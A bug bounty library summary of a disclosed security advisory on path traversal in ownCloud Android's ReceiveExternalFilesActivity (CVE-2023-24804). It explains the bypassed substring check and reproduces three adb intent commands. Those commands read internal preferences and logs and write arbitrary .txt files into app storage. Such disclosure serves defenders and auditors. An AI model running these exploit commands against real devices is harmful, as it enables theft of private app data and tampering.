# GitHub Security Lab (GHSL) Vulnerability Report: Insufficient path validation in ReceiveExternalFilesActivity.java (GHSL-2022-060)

Insufficient path validation in ownCloud Android's ReceiveExternalFilesActivity lets a malicious intent read internal app files and write arbitrary .txt files via path traversal.

- Payout: $50
- Severity: low
- Program: ownCloud
- Found by: atorralba
- Disclosed: 2023-01-16
- CVE: CVE-2023-24804
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1650270
- Library page: https://bugbountylibrary.com/r/h1%3A1650270
- Tags: area:mobile domain:mobile impact:data-leak impact:integrity kind:bounty platform:hackerone sev:low tech:android technique:incomplete-fix technique:source-review vuln:access-control vuln:path-traversal

**Target:** ownCloud Android app, ReceiveExternalFilesActivity intent handler
**Root cause:** The fix for prior path traversal only checked for substrings '/data' and package name while excluding getCacheDir(), which is bypassable via '..' traversal or the org.owncloud.files content provider; savePlainTextToFile builds a path from user-controlled fileName without sanitization.
**Steps:**
1. Read internal prefs: `adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"`
2. Read internal files dir via provider: `--eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"`
3. Write arbitrary .txt: `--es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"`
**How found:** Code review of the prior fix (HackerOne #377107) revealed the substring-based check was bypassable; reading savePlainTextToFile showed user-controlled fileName concatenated into a File path.
**Exploitation:** Attacker crafts an intent to ReceiveExternalFilesActivity with a STREAM URI containing '..' after the cache dir path or a content:// URI to the org.owncloud.files provider, causing the app to upload its own internal files to the attacker-controlled server. For write, EXTRA_TITLE with '../shared_prefs/test' is used as fileName in savePlainTextToFile, writing attacker text into internal storage (limited to .txt extension).
**Insight:** When auditing a patch for a prior traversal, check whether the fix uses substring/contains checks rather than canonical path comparison—'..' after an allowed prefix or an app's own content provider URI often bypasses such filters.

## Proof of concept (copied exactly from the original report)

**ADB intent reading internal prefs via cache traversal**

```
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"
```

**ADB intent reading internal files via content provider**

```
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
```

**ADB intent writing arbitrary txt via title traversal**

```
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"
```

